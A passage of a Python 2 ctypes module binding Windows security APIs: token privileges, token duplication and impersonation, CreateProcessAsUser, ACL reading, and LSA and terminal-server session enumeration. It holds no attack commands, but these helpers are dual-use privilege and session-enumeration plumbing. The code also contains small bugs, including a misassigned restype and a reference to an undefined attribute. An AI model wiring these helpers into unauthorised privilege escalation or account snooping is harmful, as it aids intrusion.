LookupPrivilegeName.argtypes = [LPWSTR, PLUID, LPWSTR, PDWORD]
LookupPrivilegeName.restype = BOOL


class LUID_AND_ATTRIBUTES(Structure):
    _fields_ = [
        ("Luid", LUID),
        ("Attributes", DWORD),
    ]

    def is_enabled(self):
        return _bit(self.Attributes, SE_PRIVILEGE_ENABLED)

    def enable(self):
        self.Attributes |= SE_PRIVILEGE_ENABLED

    def get_name(self):
        size = DWORD(10240)
        buf = create_unicode_buffer(size.value)
        res = LookupPrivilegeName(None, self.Luid, buf, size)

        if res == 0:
            raise WinError(get_last_error())

        return buf[:size.value]

    def __str__(self):
        res = self.get_name()

        if self.is_enabled():
            res += ' (enabled)'

        return res


class TOKEN_PRIVILEGES(Structure):
    _fields_ = [
        ("PrivilegeCount", DWORD),
        ("Privileges", LUID_AND_ATTRIBUTES),
    ]


PTOKEN_PRIVILEGES = POINTER(TOKEN_PRIVILEGES)


class TOKEN_PRIVS(Structure):
    _fields_ = [
        ("PrivilegeCount", DWORD),
        ("Privileges", LUID_AND_ATTRIBUTES*0),
    ]

    def get_array(self):
        array_type = LUID_AND_ATTRIBUTES*self.PrivilegeCount
        privileges = cast(self.Privileges, POINTER(array_type)).contents
        return privileges

    def __iter__(self):
        return iter(self.get_array())


class PROCESS_INFORMATION(Structure):
    _fields_ = [
        ('hProcess', HANDLE),
        ('hThread', HANDLE),
        ('dwProcessId', DWORD),
        ('dwThreadId', DWORD),
    ]


class STARTUPINFOW(Structure):
    _fields_ = [
        ('cb', DWORD),
        ('lpReserved', LPWSTR),
        ('lpDesktop', LPWSTR),
        ('lpTitle', LPWSTR),
        ('dwX', DWORD),
        ('dwY', DWORD),
        ('dwXSize', DWORD),
        ('dwYSize', DWORD),
        ('dwXCountChars', DWORD),
        ('dwYCountChars', DWORD),
        ('dwFillAttribute', WORD),
        ('dwFlags', DWORD),
        ('wShowWindow', WORD),
        ('cbReserved2', WORD),
        ('lpReserved2', LPVOID),  # LPBYTE
        ('hStdInput', HANDLE),
        ('hStdOutput', HANDLE),
        ('hStdError', HANDLE),
    ]

    def __init__(self, *args, **kwargs):
        super(STARTUPINFOW, self).__init__(*args, **kwargs)
        self.cb = sizeof(self)


class ACL_HEADER(Structure):
    _fields_ = [
        ('AclRevision', BYTE),
        ('Sbz1', BYTE),
        ('AclSize', WORD),
        ('AceCount', WORD),
        ('Sbz2', WORD)
    ]


class SECURITY_DESCRIPTOR(Structure):
    _fields_ = [
        ('Revision', BYTE),
        ('Sbz1', BYTE),
        ('Control', WORD),
        ('Owner', c_void_p),
        ('Group', c_void_p),
        ('Sacl', c_void_p),
        ('Dacl', c_void_p),
    ]


PSECURITY_DESCRIPTOR = POINTER(SECURITY_DESCRIPTOR)


class SECURITY_ATTRIBUTES(Structure):
    _fields_ = [
        ("nLength", DWORD),
        ("lpSecurityDescriptor", LPVOID),
        ("bInheritHandle", BOOL),
    ]


PSECURITY_ATTRIBUTES = POINTER(SECURITY_ATTRIBUTES)


class OSVERSIONINFOEXW(Structure):
    _fields_ = [
        ('dwOSVersionInfoSize', DWORD),
        ('dwMajorVersion', DWORD),
        ('dwMinorVersion', DWORD),
        ('dwBuildNumber', DWORD),
        ('dwPlatformId', DWORD),
        ('szCSDVersion', c_wchar * 128),
        ('wServicePackMajor', DWORD),
        ('wServicePackMinor', DWORD),
        ('wSuiteMask', DWORD),
        ('wProductType', BYTE),
        ('wReserved', BYTE)
    ]


POSVERSIONINFOEXW = POINTER(OSVERSIONINFOEXW)


class PRIVILEGE_SET_HEADER(Structure):
    _fields_ = [
        ('PrivilegeCount', DWORD),
        ('Control', DWORD)
    ]


class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure):
    _fields_ = [
        ("Object", PVOID),
        ("UniqueProcessId", PVOID),
        ("HandleValue", PVOID),
        ("GrantedAccess", ULONG),
        ("CreatorBackTraceIndex", USHORT),
        ("ObjectTypeIndex", USHORT),
        ("HandleAttributes", ULONG),
        ("Reserved", ULONG)
    ]


class STARTUPINFOEX(Structure):
    _fields_ = [
        ('StartupInfo', STARTUPINFOW),
        ('lpAttributeList', PVOID)
    ]

    def __init__(self, *args, **kwargs):
        super(STARTUPINFOEX, self).__init__(*args, **kwargs)
        self._lpAttributeList = None
        self._attributes_copy = []
        self.StartupInfo.cb = sizeof(self)
        self.StartupInfo.lpReserved = 0
        self.StartupInfo.lpDesktop = 0
        self.StartupInfo.lpTitle = 0
        self.StartupInfo.dwFlags = 0
        self.StartupInfo.cbReserved2 = 0
        self.StartupInfo.lpReserved2 = 0
        self.lpAttributeList = 0

    def __getattr__(self, key):
        try:
            return self.StartupInfo.__getattribute__(key)
        except AttributeError:
            pass

        return self.__getattribute__(key)

    def __setattr__(self, key, value):
        try:
            self.StartupInfo.__getattribute__(key)
            setattr(self.b, key, value)
        except AttributeError:
            pass

        super(STARTUPINFOEX, self).__setattr__(key, value)

    def setAttributes(self, attributes):
        lpAttributeList = None
        lpSize = c_size_t(0)

        dwAttrs = len(attributes)

        if not InitializeProcThreadAttributeList(
                None, dwAttrs, 0, byref(lpSize)):
            error = get_last_error()
            if error != ERROR_INSUFFICIENT_BUFFER:
                raise WinError(get_last_error())

        lpAttributeList = create_string_buffer(lpSize.value)
        if not InitializeProcThreadAttributeList(
                    lpAttributeList, dwAttrs, 0, byref(lpSize)):
            raise WinError(get_last_error())

        for attribute in attributes:
            self._attributes_copy.append(attribute)
            if not UpdateProcThreadAttribute(
                lpAttributeList, 0, attribute.attribute,
                    attribute.value, sizeof(attribute.value), 0, None):
                raise WinError(get_last_error())

        self._lpAttributeList = lpAttributeList
        self.lpAttributeList = addressof(self._lpAttributeList)


class TOKEN_MANDATORY_LABEL(Structure):
    _fields_ = [
        ('Label', SID_AND_ATTRIBUTES),
    ]


# advapi32

LookupAccountNameW = advapi32.LookupAccountNameW
LookupAccountNameW.restype = BOOL
LookupAccountNameW.argtypes = [
    LPWSTR, LPWSTR, PSID, PDWORD, LPWSTR, PDWORD, PDWORD
]

LookupAccountSidW = advapi32.LookupAccountSidW
LookupAccountSidW.restype = BOOL
LookupAccountSidW.argtypes = [
    LPWSTR, PSID, LPWSTR, PDWORD, LPWSTR, PDWORD, PDWORD
]

LookupAccountSidA = advapi32.LookupAccountSidA
LookupAccountSidA.restype = BOOL
LookupAccountSidA.argtypes = [
    LPTSTR, PSID, LPTSTR, PDWORD, LPTSTR, PDWORD, PDWORD
]

AdjustTokenPrivileges = advapi32.AdjustTokenPrivileges
AdjustTokenPrivileges.restype = BOOL
AdjustTokenPrivileges.argtypes = [
    HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD,
    PTOKEN_PRIVILEGES, PDWORD
]

CheckTokenMembership = advapi32.CheckTokenMembership
CheckTokenMembership.restype = BOOL
CheckTokenMembership.argtypes = [
    HANDLE, PSID, POINTER(BOOL)
]

ConvertSidToStringSidA = advapi32.ConvertSidToStringSidA
ConvertSidToStringSidA.restype = BOOL
ConvertSidToStringSidA.argtypes = [
    PSID, POINTER(LPTSTR)
]

CreateProcessAsUser = advapi32.CreateProcessAsUserW
CreateProcessAsUser.restype = BOOL
CreateProcessAsUser.argtypes = [
    HANDLE, LPWSTR, LPWSTR, PSECURITY_ATTRIBUTES,
    PSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPWSTR,
    c_void_p, POINTER(PROCESS_INFORMATION)
]

CreateWellKnownSid = advapi32.CreateWellKnownSid
CreateWellKnownSid.restype = BOOL
CreateWellKnownSid.argtypes = [
    DWORD, POINTER(PSID), LPVOID, PDWORD
]

DuplicateTokenEx = advapi32.DuplicateTokenEx
DuplicateTokenEx.restype = BOOL
DuplicateTokenEx.argtypes = [
    HANDLE, DWORD, PSECURITY_ATTRIBUTES, DWORD, DWORD, PHANDLE
]

DuplicateToken = advapi32.DuplicateToken
DuplicateToken.restype = BOOL
DuplicateToken.argtypes = [
    HANDLE, DWORD, PHANDLE
]

GetTokenInformation = advapi32.GetTokenInformation
GetTokenInformation.restype = BOOL
GetTokenInformation.argtypes = [
    HANDLE, DWORD, LPVOID, DWORD, PDWORD
]

GetUserNameW = advapi32.GetUserNameW
GetUserNameW.restype = BOOL
GetUserNameW.argtypes = [
    LPWSTR, PDWORD
]

ImpersonateLoggedOnUser = advapi32.ImpersonateLoggedOnUser
ImpersonateLoggedOnUser.restype = BOOL
ImpersonateLoggedOnUser.argtypes = [
    HANDLE
]

LookupPrivilegeValueA = advapi32.LookupPrivilegeValueA
LookupPrivilegeValueA.restype = BOOL
LookupPrivilegeValueA.argtypes = [
    LPCTSTR, LPCTSTR, PLUID
]

OpenProcessToken = advapi32.OpenProcessToken
OpenProcessToken.restype = BOOL
OpenProcessToken.argtypes = [
    HANDLE, DWORD, PHANDLE
]

OpenThreadToken = advapi32.OpenThreadToken
OpenThreadToken.restype = BOOL
OpenThreadToken.argtypes = [
    HANDLE, DWORD, BOOL, PHANDLE
]

RevertToSelf = advapi32.RevertToSelf
RevertToSelf.restype = BOOL
RevertToSelf.argtypes = []

ImpersonateSelf = advapi32.ImpersonateSelf
ImpersonateSelf.restype = BOOL
ImpersonateSelf.argtypes = [
    DWORD
]

MapGenericMask = advapi32.MapGenericMask
MapGenericMask.argtypes = [
    PDWORD, POINTER(GENERIC_MAPPING)
]

GetFileSecurityW = advapi32.GetFileSecurityW
GetFileSecurityW.argtypes = [
    LPWSTR, SECURITY_INFORMATION, c_void_p, DWORD, PDWORD
]
GetFileSecurityW.restype = BOOL

GetSecurityDescriptorGroup = advapi32.GetSecurityDescriptorGroup
GetSecurityDescriptorGroup.restype = BOOL
GetSecurityDescriptorGroup.argtypes = [
    c_void_p, POINTER(PSID), POINTER(BOOL)
]

GetSecurityDescriptorOwner = advapi32.GetSecurityDescriptorOwner
GetSecurityDescriptorOwner.restype = BOOL
GetSecurityDescriptorOwner.argtypes = [
    c_void_p, POINTER(PSID), POINTER(BOOL)
]

GetSecurityDescriptorDacl = advapi32.GetSecurityDescriptorDacl
GetSecurityDescriptorDacl.restype = BOOL
GetSecurityDescriptorDacl.argtypes = [
    c_void_p, POINTER(BOOL), POINTER(c_void_p), POINTER(BOOL)
]


class GUID(Structure):
    _fields_ = [
        ('Data1', DWORD),
        ('Data2', WORD),
        ('Data3', WORD),
        ('Data4', BYTE*8)
    ]


class OBJECTS_AND_SID(Structure):
    _fields_ = [
        ('ObjectsPresent', DWORD),
        ('ObjectTypeGuid', GUID),
        ('InheritedObjectTypeGuid', GUID),
        ('pSid', PSID)
    ]


POBJECTS_AND_SID = POINTER(OBJECTS_AND_SID)


class OBJECTS_AND_NAME_W(Structure):
    _fields_ = [
        ('ObjectsPresent', DWORD),
        ('ObjectType', DWORD),
        ('ObjectTypeName', LPWSTR),
        ('InheritedObjectTypeName', LPWSTR),
        ('ptstrName', LPWSTR)
    ]


POBJECTS_AND_NAME_W = POINTER(OBJECTS_AND_NAME_W)

TRUSTEE_IS_SID = 0
TRUSTEE_IS_NAME = 1
TRUSTEE_BAD_FORM = 2
TRUSTEE_IS_OBJECTS_AND_SID = 3
TRUSTEE_IS_OBJECTS_AND_NAME = 4

TRUSTEE_KIND_TEXT = {
    TRUSTEE_IS_SID: 'SID',
    TRUSTEE_IS_NAME: 'NAME',
    TRUSTEE_BAD_FORM: 'BAD',
    TRUSTEE_IS_OBJECTS_AND_SID: 'Objects and SID',
    TRUSTEE_IS_OBJECTS_AND_NAME: 'Objects and NAME'
}

TRUSTEE_IS_UNKNOWN = 0
TRUSTEE_IS_USER = 1
TRUSTEE_IS_GROUP = 2
TRUSTEE_IS_DOMAIN = 3
TRUSTEE_IS_ALIAS = 4
TRUSTEE_IS_WELL_KNOWN_GROUP = 5
TRUSTEE_IS_DELETED = 6
TRUSTEE_IS_INVALID = 7
TRUSTEE_IS_COMPUTER = 8

TRUSTEE_TEXT = {
    TRUSTEE_IS_UNKNOWN: 'Unknown',
    TRUSTEE_IS_USER: 'User',
    TRUSTEE_IS_GROUP: 'Group',
    TRUSTEE_IS_DOMAIN: 'Domain',
    TRUSTEE_IS_ALIAS: 'Alias',
    TRUSTEE_IS_WELL_KNOWN_GROUP: 'Well-Known Group',
    TRUSTEE_IS_DELETED: 'Deleted',
    TRUSTEE_IS_INVALID: 'Invalid',
    TRUSTEE_IS_COMPUTER: 'Computer'
}

NO_INHERITANCE = 0
OBJECT_INHERIT_ACE = 1
CONTAINER_INHERIT_ACE = 2
INHERIT_NO_PROPAGATE = 4
INHERIT_ONLY_ACE = 8

INHERITANCE_TEXT = {
    NO_INHERITANCE: 'NO INHERITANCE',
    OBJECT_INHERIT_ACE: 'OBJECT/ACE',
    CONTAINER_INHERIT_ACE: 'CONTAINER/ACE',
    INHERIT_NO_PROPAGATE: 'NO PROPAGATE',
    INHERIT_ONLY_ACE: 'ONLY ACE'
}


class TRUSTEE_W_NAME(Union):
    _fields_ = [
        ('ptstrName', LPWSTR),
        ('pSid', PSID),
        ('pObjectsAndSid', POBJECTS_AND_SID),
        ('pObjectsAndName', POBJECTS_AND_NAME_W),
    ]


class TRUSTEE_W(Structure):
    _fields_ = [
        # Unsupported
        ('pMultipleTrustee', c_void_p),
        ('MultipleTrusteeOperation', DWORD),
        # Supported
        ('TrusteeForm', DWORD),
        ('TrusteeType', DWORD),
        ('TrusteeName', TRUSTEE_W_NAME),
    ]


class ACE_HEADER(Structure):
    _fields_ = [
        ('AceType', BYTE),
        ('AceFlags', BYTE),
        ('AceSize', WORD)
    ]


ACCESS_ALLOWED_ACE_TYPE = 0
ACCESS_DENIED_ACE_TYPE = 1
SYSTEM_AUDIT_ACE_TYPE = 2
SYSTEM_ALARM_ACE_TYPE = 3


class ACCESS_ALLOWED_ACE(Structure):
    _fields_ = [
        ('Header', ACE_HEADER),
        ('Mask', DWORD),
        ('SidStart', DWORD),
    ]


PACCESS_ALLOWED_ACE = POINTER(ACCESS_ALLOWED_ACE)

NOT_USED_ACCESS = 0
GRANT_ACCESS = 1
SET_ACCESS = 2
DENY_ACCESS = 3
REVOKE_ACCESS = 4
SET_AUDIT_SUCCESS = 5
SET_AUDIT_FAILURE = 6

ACCESS_MODE_TEXT = {
    NOT_USED_ACCESS: '',
    GRANT_ACCESS: '(GRANT)',
    SET_ACCESS: '(SET)',
    DENY_ACCESS: '(DENY)',
    REVOKE_ACCESS: '(REVOKE)',
    SET_AUDIT_SUCCESS: '(AUDIT SUCCESS)',
    SET_AUDIT_FAILURE: '(AUDIT FAILURE)'
}

ACE_ACCESS_DELETE = (0x00010000)
ACE_ACCESS_READ_CONTROL = (0x00020000)
ACE_ACCESS_WRITE_DAC = (0x00040000)
ACE_ACCESS_WRITE_OWNER = (0x00080000)
ACE_ACCESS_SYNCHRONIZE = (0x00100000)

STANDARD_RIGHTS_REQUIRED = (0x000F0000)

STANDARD_RIGHTS_READ = (READ_CONTROL)
STANDARD_RIGHTS_WRITE = (READ_CONTROL)
STANDARD_RIGHTS_EXECUTE = (READ_CONTROL)
STANDARD_RIGHTS_ALL = (0x001F0000)
SPECIFIC_RIGHTS_ALL = (0x0000FFFF)


class EXPLICIT_ACCESS_W(Structure):
    _fields_ = [
        ('grfAccessPermissions', DWORD),
        ('grfAccessMode', DWORD),
        ('grfInheritance', DWORD),
        ('Trustee', TRUSTEE_W)
    ]


PEXPLICIT_ACCESS_W = POINTER(EXPLICIT_ACCESS_W)

AclRevisionInformation = 0
AclSizeInformation = 1

GetExplicitEntriesFromAclW = advapi32.GetExplicitEntriesFromAclW
GetExplicitEntriesFromAclW.restype = DWORD
GetExplicitEntriesFromAclW.argtypes = [
    c_void_p, POINTER(c_ulong), POINTER(PEXPLICIT_ACCESS_W)
]

GetAclInformation = advapi32.GetAclInformation
GetAclInformation.restype = BOOL
GetAclInformation.argtypes = [
    c_void_p, c_void_p, DWORD, DWORD
]

GetAce = advapi32.GetAce
GetAce.restype = BOOL
GetAce.argtypes = [
    c_void_p, DWORD, POINTER(PACCESS_ALLOWED_ACE)
]

IsValidSecurityDescriptor = advapi32.IsValidSecurityDescriptor
GetFileSecurityW.restype = BOOL
IsValidSecurityDescriptor.argtypes = [
    c_void_p
]

AccessCheck = advapi32.AccessCheck
AccessCheck.restype = BOOL
AccessCheck.argtypes = [
    c_void_p, HANDLE, DWORD, POINTER(GENERIC_MAPPING),
    c_void_p, PDWORD, PDWORD, POINTER(BOOL)
]


GetSidSubAuthorityCount = advapi32.GetSidSubAuthorityCount
GetSidSubAuthorityCount.restype = POINTER(c_ubyte)
GetSidSubAuthorityCount.argtypes = [
    c_void_p
]


GetSidSubAuthority = advapi32.GetSidSubAuthority
GetSidSubAuthority.restype = PDWORD
GetSidSubAuthority.argtypes = [
    c_void_p, DWORD
]


CreateProcessW = kernel32.CreateProcessW  # Unicode version
CreateProcessW.restype = BOOL
CreateProcessW.argtypes = [
    LPCWSTR, LPWSTR, PSECURITY_ATTRIBUTES,
    PSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID,
    LPCSTR, c_void_p, POINTER(PROCESS_INFORMATION)
]

CreateProcessA = kernel32.CreateProcessA
CreateProcessA.restype = BOOL
CreateProcessA.argtypes = [
    LPCSTR, LPSTR, PSECURITY_ATTRIBUTES,
    PSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID,
    LPCSTR, c_void_p, POINTER(PROCESS_INFORMATION)
]

WaitForSingleObject = kernel32.WaitForSingleObject
WaitForSingleObject.restype = DWORD
WaitForSingleObject.argtypes = [
    HANDLE, DWORD
]

CreatePipe = kernel32.CreatePipe
CreatePipe.restype = BOOL
CreatePipe.argtypes = [
    PHANDLE, PHANDLE, c_void_p, DWORD
]


TerminateProcess = kernel32.TerminateProcess
TerminateProcess.restype = BOOL
TerminateProcess.argtypes = [
    HANDLE, c_int
]


GetExitCodeProcess = kernel32.GetExitCodeProcess
GetExitCodeProcess.restype = BOOL
GetExitCodeProcess.argtypes = [
    HANDLE, PDWORD
]


STILL_ACTIVE = 0x00000103

# kernel32

GetFileAttributesW = kernel32.GetFileAttributesW
GetFileAttributesW.restype = DWORD
GetFileAttributesW.argtypes = [
    LPWSTR
]


CreateFile = kernel32.CreateFileW
CreateFile.restype = HANDLE
CreateFile.argtypes = [
    LPCWSTR, DWORD, DWORD, c_void_p, DWORD, DWORD, HANDLE
]


WriteFile = kernel32.WriteFile
WriteFile.restype = BOOL
WriteFile.argtypes = [
    HANDLE, LPVOID, DWORD, PDWORD, PVOID
]


ReadFile = kernel32.ReadFile
ReadFile.restype = BOOL
ReadFile.argtypes = [
    HANDLE, LPVOID, DWORD, PDWORD, PVOID
]

CloseHandle = kernel32.CloseHandle
CloseHandle.restype = BOOL
CloseHandle.argtypes = [
    HANDLE
]

GetCurrentProcess = kernel32.GetCurrentProcess
GetCurrentProcess.restype = HANDLE
GetCurrentProcess.argtypes = []

GetCurrentThread = kernel32.GetCurrentThread
GetCurrentThread.restype = HANDLE
GetCurrentThread.argtypes = []

GetCurrentProcessId = kernel32.GetCurrentProcessId
GetCurrentProcessId.restype = DWORD
GetCurrentProcessId.argtypes = []

OpenProcess = kernel32.OpenProcess
OpenProcess.restype = HANDLE
OpenProcess.argtypes = [
    DWORD, BOOL, DWORD
]


class LSA_UNICODE_STRING(Structure):
    _fields_ = (
        ('Length', USHORT),
        ('MaximumLength', USHORT),
        ('Buffer', LPWSTR)
    )


class LSA_LAST_INTER_LOGON_INFO(Structure):
    _fields_ = (
        ('LastSuccessfulLogon', LARGE_INTEGER),
        ('LastFailedLogon', LARGE_INTEGER),
        ('FailedAttemptCountSinceLastSuccessfulLogon', ULONG)
    )


class SECURITY_LOGON_SESSION_DATA(Structure):
    _fields_ = (
        ('Size', ULONG),
        ('LogonId', LUID),
        ('UserName', LSA_UNICODE_STRING),
        ('LogonDomain', LSA_UNICODE_STRING),
        ('AuthenticationPackage', LSA_UNICODE_STRING),
        ('LogonType', ULONG),
        ('Session', ULONG),
        ('Sid', PSID),
        ('LogonTime', LARGE_INTEGER),
        ('LogonServer', LSA_UNICODE_STRING),
        ('DnsDomainName', LSA_UNICODE_STRING),
        ('Upn', LSA_UNICODE_STRING),
        ('UserFlags', ULONG),
        ('LastLogonInfo', LSA_LAST_INTER_LOGON_INFO),
        ('LogonScript', LSA_UNICODE_STRING),
        ('ProfilePath', LSA_UNICODE_STRING),
        ('HomeDirectory', LSA_UNICODE_STRING),
        ('HomeDirectoryDrive', LSA_UNICODE_STRING),
        ('LogoffTime', LARGE_INTEGER),
        ('KickOffTime', LARGE_INTEGER),
        ('PasswordLastSet', LARGE_INTEGER),
        ('PasswordCanChange', LARGE_INTEGER),
        ('PasswordMustChange', LARGE_INTEGER),
    )


PSECURITY_LOGON_SESSION_DATA = POINTER(SECURITY_LOGON_SESSION_DATA)
PPSECURITY_LOGON_SESSION_DATA = POINTER(PSECURITY_LOGON_SESSION_DATA)


LOGON_TYPE = (
    'Undefined',
    'Interactive',
    'Network',
    'Batch',
    'Service',
    'Proxy',
    'Unlock',
    'NetworkCleartext',
    'NewCredentials',
    'RemoteInteractive',
    'CachedInteractive',
    'CachedRemoteInteractive',
    'CachedUnlock'
)


def LsaSessionDataFlagsToStr(flags):
    result = []

    if _bit(flags, 0x4000):
        result.append('Optimized')
    if _bit(flags, 0x8000):
        result.append('WinLogon')
    if _bit(flags, 0x10000):
        result.append('Kerberos')
    if _bit(flags, 0x20000):
        result.append('Not Optimized')

    return result


def FileTimeToUnix(filetime):
    if filetime >= (0x8000000000000000 - 1):
        filetime = filetime - 0x8000000000000000

    if filetime < 1:
        return filetime

    return (filetime / 10000000) - 11644473600


LsaEnumerateLogonSessions = secur32.LsaEnumerateLogonSessions
LsaEnumerateLogonSessions.restype = NTSTATUS
LsaEnumerateLogonSessions.argtypes = [
    PULONG, PVOID()
]

LsaGetLogonSessionData = secur32.LsaGetLogonSessionData
LsaGetLogonSessionData.restype = NTSTATUS
LsaGetLogonSessionData.argtypes = [
    PLUID, PPSECURITY_LOGON_SESSION_DATA
]

LsaFreeReturnBuffer = secur32.LsaFreeReturnBuffer
LsaFreeReturnBuffer.restype = NTSTATUS
LsaFreeReturnBuffer.argtypes = [
    PVOID
]

LsaNtStatusToWinError = advapi32.LsaNtStatusToWinError
LsaNtStatusToWinError.restype = ULONG
LsaNtStatusToWinError.argtypes = [
    NTSTATUS
]


try:
    wtsapi32 = WinDLL('wtsapi32', use_last_error=True)

    class WTS_SERVER_INFOW(Structure):
        _fields_ = (
            ('pServerName', LPWSTR),
        )

    WTS_CONNECTSTATE_CLASS = (
        'Active',
        'Connected',
        'ConnectQuery',
        'Shadow',
        'Disconnected',
        'Idle',
        'Listen',
        'Reset',
        'Down',
        'Init'
    )

    class WTS_SESSION_INFOW(Structure):
        _fields_ = (
            ('SessionId', DWORD),
            ('pWinStationName', LPWSTR),
            ('State', DWORD),
        )

    PWTS_SESSION_INFOW = POINTER(WTS_SESSION_INFOW)
    PPWTS_SESSION_INFOW = POINTER(PWTS_SESSION_INFOW)

    PWTS_SERVER_INFOW = POINTER(WTS_SERVER_INFOW)
    PPWTS_SERVER_INFOW = POINTER(PWTS_SERVER_INFOW)

    ProcessIdToSessionId = kernel32.ProcessIdToSessionId
    ProcessIdToSessionId.restype = BOOL
    ProcessIdToSessionId.argtypes = (
        DWORD, PDWORD
    )

    WTSEnumerateServersW = wtsapi32.WTSEnumerateServersW
    WTSEnumerateServersW.restype = BOOL
    WTSEnumerateServersW.argtypes = (
        LPWSTR, DWORD, DWORD, POINTER(PVOID), PDWORD
    )

    WTSGetActiveConsoleSessionId = kernel32.WTSGetActiveConsoleSessionId
    WTSGetActiveConsoleSessionId.restype = DWORD
    WTSGetActiveConsoleSessionId.argtypes = []

    WTSFreeMemory = wtsapi32.WTSFreeMemory
    WTSFreeMemory.argtypes = (PVOID,)

    WTSEnumerateSessionsW = wtsapi32.WTSEnumerateSessionsW
    WTSEnumerateSessionsW.restype = BOOL
    WTSEnumerateSessionsW.argtypes = (
        HANDLE, DWORD, DWORD, POINTER(PVOID), PDWORD
    )

    WTSQuerySessionInformationW = wtsapi32.WTSQuerySessionInformationW
    WTSQuerySessionInformationW.restype = BOOL
    WTSQuerySessionInformationW.argtypes = (
        HANDLE, DWORD, DWORD, POINTER(PVOID), PDWORD
    )

    (
        WTSInitialProgram, WTSApplicationName, WTSWorkingDirectory, WTSOEMId,
        WTSSessionId, WTSUserName, WTSWinStationName, WTSDomainName,
        WTSConnectState, WTSClientBuildNumber, WTSClientName,
        WTSClientDirectory, WTSClientProductId, WTSClientHardwareId,
        WTSClientAddress, WTSClientDisplay, WTSClientProtocolType,
        WTSIdleTime, WTSLogonTime, WTSIncomingBytes, WTSOutgoingBytes,
        WTSIncomingFrames, WTSOutgoingFrames, WTSClientInfo, WTSSessionInfo,
        WTSSessionInfoEx, WTSConfigInfo, WTSValidationInfo,
        WTSSessionAddressV4, WTSIsRemoteSession
    ) = xrange(30)

    MAX_PATH = 260

    WDPREFIX_LENGTH = 12
    STACK_ADDRESS_LENGTH = 128
    MAX_BR_NAME = 65
    DIRECTORY_LENGTH = 256
    INITIALPROGRAM_LENGTH = 256
    USERNAME_LENGTH = 20
    DOMAIN_LENGTH = 17
    PASSWORD_LENGTH = 14
    NASISPECIFICNAME_LENGTH = 14
    NASIUSERNAME_LENGTH = 47
    NASIPASSWORD_LENGTH = 24
    NASISESSIONNAME_LENGTH = 16
    NASIFILESERVER_LENGTH = 47

    CLIENTDATANAME_LENGTH = 7
    CLIENTNAME_LENGTH = 20
    CLIENTADDRESS_LENGTH = 30
    IMEFILENAME_LENGTH = 32
    DIRECTORY_LENGTH = 256
    CLIENTLICENSE_LENGTH = 32
    CLIENTMODEM_LENGTH = 40
    CLIENT_PRODUCT_ID_LENGTH = 32
    MAX_COUNTER_EXTENSIONS = 2
    WINSTATIONNAME_LENGTH = 32

    class WTSCLIENTW(Structure):
        _fields_ = (
            ('ClientName', WCHAR * (CLIENTNAME_LENGTH+1)),
            ('Domain', WCHAR * (DOMAIN_LENGTH+1)),
            ('UserName', WCHAR * (USERNAME_LENGTH+1)),
            ('WorkDirectory', WCHAR * (MAX_PATH+1)),
            ('InitialProgram', WCHAR * (MAX_PATH+1)),
            ('EncryptionLevel', BYTE),
            ('ClientAddressFamily', ULONG),
            ('ClientAddress', USHORT*(CLIENTADDRESS_LENGTH+1)),
            ('HRes', USHORT),
            ('VRes', USHORT),
            ('ColorDepth', USHORT),
            ('ClientDirectory', WCHAR * (MAX_PATH+1)),
            ('ClientBuildNumber', ULONG),
            ('ClientHardwareId', ULONG),
            ('ClientProductId', USHORT),
            ('OutBufCountHost', USHORT),
            ('OutBufCountClient', USHORT),
            ('OutBufLength', USHORT),
            ('DeviceId', WCHAR * (MAX_PATH+1))
        )

    PWTSCLIENTW = POINTER(WTSCLIENTW)

    class WTSINFOW(Structure):
        _fields_ = (
            ('State', DWORD),
            ('SessionId', DWORD),
            ('IncomingBytes', DWORD),
            ('OutgoingBytes', DWORD),
            ('IncomingFrames', DWORD),
            ('OutgoingFrames', DWORD),
            ('IncomingCompressedBytes', DWORD),
            ('OutgoingCompressedBytes', DWORD),
            ('WinStationName', WCHAR * (WINSTATIONNAME_LENGTH)),
            ('Domain', WCHAR * DOMAIN_LENGTH),
            ('UserName', WCHAR * (USERNAME_LENGTH+1)),
            ('ConnectTime', LARGE_INTEGER),
            ('DisconnectTime', LARGE_INTEGER),
            ('LastInputTime', LARGE_INTEGER),
            ('LogonTime', LARGE_INTEGER),
            ('CurrentTime', LARGE_INTEGER)
        )

    PWTSINFOW = POINTER(WTSINFOW)

    def mkzstring(data):
        if '\0' in data:
            return data[:data.index('\0')]

        return data

    def mkaddress(family, data):
        if family == socket.AF_UNSPEC:
            return None

        if family == socket.AF_INET:
            return '.'.join(str(x) for i, x in enumerate(data) if i < 4)
        else:
            addr_len = data[0]
            addr_data = data[1:addr_len]
            return ''.join(hex(x)[2:] for x in addr_data)

    def StationNameByPid(pid):
        SessionID = DWORD()

        if not ProcessIdToSessionId(pid, byref(SessionID)):
            return None

        info = PVOID()
        dwSize = DWORD()

        if not WTSQuerySessionInformationW(
            None, SessionID, WTSWinStationName,
                byref(info), byref(dwSize)):
            return None

        try:
            name = str(cast(info, LPWSTR).value) or '{Empty}'
        finally:
            WTSFreeMemory(info)

        return name

    def EnumerateWTS():
        info = PVOID()
        count = DWORD()

        current = WTSGetActiveConsoleSessionId()

        if WTSEnumerateSessionsW(None, 0, 1, byref(info), byref(count)) == 0:
            raise WinError(get_last_error())

        sessions = []
        try:
            _info = cast(info, POINTER(WTS_SESSION_INFOW))
            for idx in xrange(count.value):
                sessions.append((
                    _info[idx].SessionId,
                    _info[idx].pWinStationName or '{Empty}',
                    _info[idx].State
                ))

            del _info

        finally:
            WTSFreeMemory(info)

        session_infos = {}

        for session_id, station, state in sessions:
            info = PVOID()
            dwSize = DWORD()

            is_current = session_id == current

            session_infos[station] = {
                'state': WTS_CONNECTSTATE_CLASS[state],
                'current': is_current,
                'session_id': session_id
            }

            if WTSQuerySessionInformationW(
                None, session_id, WTSClientInfo,
                    byref(info), byref(dwSize)) == 0:
                raise WinError(get_last_error())

            try:
                _info = cast(info, PWTSCLIENTW)
                session_infos[station]['client'] = {
                    'ClientName': mkzstring(_info[0].ClientName),
                    'Domain': mkzstring(_info[0].Domain),
                    'UserName': mkzstring(_info[0].UserName),
                    'WorkDirectory': mkzstring(_info[0].WorkDirectory),
                    'EncryptionLevel': _info[0].EncryptionLevel,
                    'ClientAddress': mkaddress(
                        _info[0].ClientAddressFamily, _info[0].ClientAddress),
                    'HRes': _info[0].HRes,
                    'VRes': _info[0].VRes,
                    'ColorDepth': _info[0].ColorDepth,
                    'ClientDirectory': mkzstring(_info[0].ClientDirectory),
